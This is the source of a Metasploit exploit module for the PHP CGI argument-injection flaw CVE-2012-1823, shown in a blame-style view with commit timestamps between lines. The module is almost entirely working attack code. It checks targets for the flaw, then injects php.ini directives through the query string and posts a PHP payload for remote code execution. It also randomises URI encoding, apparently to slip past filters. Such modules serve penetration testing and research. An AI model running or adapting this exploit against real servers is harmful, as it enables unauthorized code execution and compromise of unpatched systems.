2012-05-04 00:50:51 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2012-05-04 15:19:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-05-04 00:50:51 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP CGI Argument Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
|
|
|
|
an argument injection vulnerability. This module takes advantage of
|
|
|
|
the -d flag to set php.ini directives to achieve code execution.
|
2012-05-04 05:01:03 +00:00
|
|
|
From the advisory: "if there is NO unescaped '=' in the query string,
|
|
|
|
the string is split on '+' (encoded space) characters, urldecoded,
|
|
|
|
passed to a function that escapes shell metacharacters (the "encoded in
|
|
|
|
a system-defined manner" from the RFC) and then passes them to the CGI
|
2012-05-04 00:50:51 +00:00
|
|
|
binary."
|
|
|
|
},
|
2012-08-07 20:59:01 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'egypt', 'hdm', #original msf exploit
|
|
|
|
'jjarmoc' #added URI encoding obfuscation
|
|
|
|
],
|
2012-05-04 00:50:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' => [
|
2012-05-05 15:13:42 +00:00
|
|
|
[ 'CVE' , '2012-1823' ],
|
|
|
|
[ 'OSVDB', '81633'],
|
|
|
|
[ 'URL' , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
|
2012-05-04 01:00:40 +00:00
|
|
|
],
|
2012-05-04 00:50:51 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
# Arbitrary big number. The payload gets sent as an HTTP
|
|
|
|
# response body, so really it's unlimited
|
|
|
|
'Space' => 262144, # 256k
|
|
|
|
},
|
|
|
|
'DisclosureDate' => 'May 03 2012',
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([
|
2012-05-04 14:58:10 +00:00
|
|
|
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
|
2012-06-13 05:43:59 +00:00
|
|
|
OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
|
2012-05-04 00:50:51 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2012-05-04 01:00:40 +00:00
|
|
|
# php-cgi -h
|
|
|
|
# ...
|
|
|
|
# -s Display colour syntax highlighted source.
|
2012-05-04 00:50:51 +00:00
|
|
|
def check
|
2012-11-08 16:42:48 +00:00
|
|
|
uri = normalize_uri(target_uri.path)
|
2012-05-04 15:06:18 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
uri.gsub!(/\?.*/, "")
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
print_status("Checking uri #{uri}")
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
response = send_request_raw({ 'uri' => uri })
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
|
|
|
|
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
|
2012-05-04 01:00:40 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2012-05-04 14:58:10 +00:00
|
|
|
|
2012-05-11 16:31:26 +00:00
|
|
|
response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
|
2012-05-04 14:58:10 +00:00
|
|
|
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
print_error("Server responded indicating it was not vulnerable")
|
|
|
|
return Exploit::CheckCode::Safe
|
2012-05-04 00:50:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
begin
|
|
|
|
args = [
|
2012-05-11 16:31:26 +00:00
|
|
|
rand_spaces(),
|
|
|
|
create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
|
|
|
|
create_arg("-d","safe_mode=#{rand_php_ini_false}"),
|
|
|
|
create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
|
|
|
|
create_arg("-d",'disable_functions=""'),
|
|
|
|
create_arg("-d","open_basedir=none"),
|
|
|
|
create_arg("-d","auto_prepend_file=php://input"),
|
|
|
|
create_arg("-n")
|
2012-05-04 00:50:51 +00:00
|
|
|
]
|
|
|
|
|
2012-05-09 19:13:21 +00:00
|
|
|
qs = args.join()
|
2013-01-31 20:18:42 +00:00
|
|
|
uri = normalize_uri(target_uri.path)
|
2012-11-08 16:42:48 +00:00
|
|
|
uri = "#{uri}?#{qs}"
|
2012-08-07 20:59:01 +00:00
|
|
|
|
2012-05-04 00:50:51 +00:00
|
|
|
# Has to be all on one line, so gsub out the comments and the newlines
|
2012-05-04 23:32:07 +00:00
|
|
|
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
|
2012-05-04 00:50:51 +00:00
|
|
|
response = send_request_cgi( {
|
|
|
|
'method' => "POST",
|
|
|
|
'global' => true,
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => payload_oneline,
|
2012-05-04 14:58:10 +00:00
|
|
|
}, 0.5)
|
2012-05-04 00:50:51 +00:00
|
|
|
handler
|
|
|
|
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
|
|
|
|
print_error("The target service unreachable")
|
|
|
|
rescue ::OpenSSL::SSL::SSLError
|
|
|
|
print_error("The target failed to negotiate SSL, is this really an SSL service?")
|
|
|
|
end
|
2012-05-04 23:32:07 +00:00
|
|
|
|
2012-05-04 00:50:51 +00:00
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-09 16:01:15 +00:00
|
|
|
def create_arg(arg, val = nil)
|
2012-08-07 20:59:01 +00:00
|
|
|
if val
|
2012-06-13 05:43:59 +00:00
|
|
|
val = rand_encode(val)
|
2012-05-09 19:13:21 +00:00
|
|
|
val.gsub!('=','%3d') # = must always be encoded
|
2012-06-13 01:00:28 +00:00
|
|
|
val.gsub!('"','%22') # " too
|
2012-05-09 19:13:21 +00:00
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-09 16:01:15 +00:00
|
|
|
ret = ''
|
2012-05-11 16:31:26 +00:00
|
|
|
ret << "#{rand_spaces}"
|
|
|
|
ret << "#{rand_opt_equiv(arg)}"
|
2012-05-09 19:13:21 +00:00
|
|
|
ret << "#{rand_space}"
|
2012-05-11 16:31:26 +00:00
|
|
|
ret << "#{rand_spaces}"
|
2012-05-09 16:01:15 +00:00
|
|
|
ret << "#{val}"
|
2012-05-09 19:13:21 +00:00
|
|
|
ret << "#{rand_space}"
|
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-11 16:31:26 +00:00
|
|
|
def rand_opt_equiv(opt)
|
2012-06-13 05:43:59 +00:00
|
|
|
# Returns a random equivilant option from mapping at
|
|
|
|
# http://www.php.net/manual/en/features.commandline.options.php
|
2012-05-11 16:31:26 +00:00
|
|
|
opt_equivs = {
|
|
|
|
"-d" => [
|
2012-08-07 20:59:01 +00:00
|
|
|
"#{rand_dash}#{rand_encode("d")}",
|
2012-05-11 16:31:26 +00:00
|
|
|
"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
|
|
|
|
],
|
|
|
|
"-s" => [
|
2012-08-07 20:59:01 +00:00
|
|
|
"#{rand_dash}#{rand_encode("s")}",
|
|
|
|
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
|
2012-05-11 16:31:26 +00:00
|
|
|
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
|
2012-08-07 20:59:01 +00:00
|
|
|
],
|
2012-05-11 16:31:26 +00:00
|
|
|
"-T" => [
|
2012-08-07 20:59:01 +00:00
|
|
|
"#{rand_dash}#{rand_encode("T")}",
|
2012-05-11 16:31:26 +00:00
|
|
|
"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
|
|
|
|
],
|
|
|
|
"-n" => [
|
2012-08-07 20:59:01 +00:00
|
|
|
"#{rand_dash}#{rand_encode("n")}",
|
2012-05-11 16:31:26 +00:00
|
|
|
"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
|
|
|
|
]
|
|
|
|
}
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-11 16:31:26 +00:00
|
|
|
equivs = opt_equivs[opt]
|
2012-08-07 20:59:01 +00:00
|
|
|
equivs ? equivs[rand(opt_equivs[opt].length)] : opt
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-11 16:31:26 +00:00
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-09 19:13:21 +00:00
|
|
|
def rand_encode(string, max = string.length)
|
2012-05-11 16:31:26 +00:00
|
|
|
# Randomly URI encode characters from string, up to max times.
|
2012-05-09 19:13:21 +00:00
|
|
|
chars = [];
|
2012-05-11 16:31:26 +00:00
|
|
|
if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end
|
2012-08-07 20:59:01 +00:00
|
|
|
if string.length == 1
|
2012-05-09 19:13:21 +00:00
|
|
|
if rand(2) > 0
|
|
|
|
chars << 0
|
|
|
|
end
|
2012-08-07 20:59:01 +00:00
|
|
|
else
|
|
|
|
if max > 0
|
2012-05-09 19:13:21 +00:00
|
|
|
max.times { chars << rand(string.length)}
|
|
|
|
end
|
|
|
|
end
|
2012-06-12 19:59:06 +00:00
|
|
|
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
|
2012-05-09 19:13:21 +00:00
|
|
|
string
|
2012-05-09 16:01:15 +00:00
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-11 16:31:26 +00:00
|
|
|
def rand_spaces(num = datastore["URIENCODING"])
|
2012-05-09 16:01:15 +00:00
|
|
|
ret = ''
|
2012-10-15 00:16:54 +00:00
|
|
|
num.times {
|
|
|
|
ret << rand_space
|
|
|
|
}
|
2012-06-13 05:43:59 +00:00
|
|
|
ret
|
2012-05-09 16:01:15 +00:00
|
|
|
end
|
2012-06-13 05:43:59 +00:00
|
|
|
|
2012-05-09 16:01:15 +00:00
|
|
|
def rand_space
|
2012-10-15 00:16:54 +00:00
|
|
|
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
|
2012-05-09 16:01:15 +00:00
|
|
|
end
|
2012-08-07 20:59:01 +00:00
|
|
|
|
2012-05-09 16:01:15 +00:00
|
|
|
def rand_dash
|
2012-05-11 16:31:26 +00:00
|
|
|
datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
|
2012-05-09 16:01:15 +00:00
|
|
|
end
|
2012-05-04 00:50:51 +00:00
|
|
|
|
|
|
|
def rand_php_ini_false
|
2012-05-04 23:32:07 +00:00
|
|
|
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
|
2012-05-04 00:50:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def rand_php_ini_true
|
2012-05-04 23:32:07 +00:00
|
|
|
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
|
2012-05-04 00:50:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|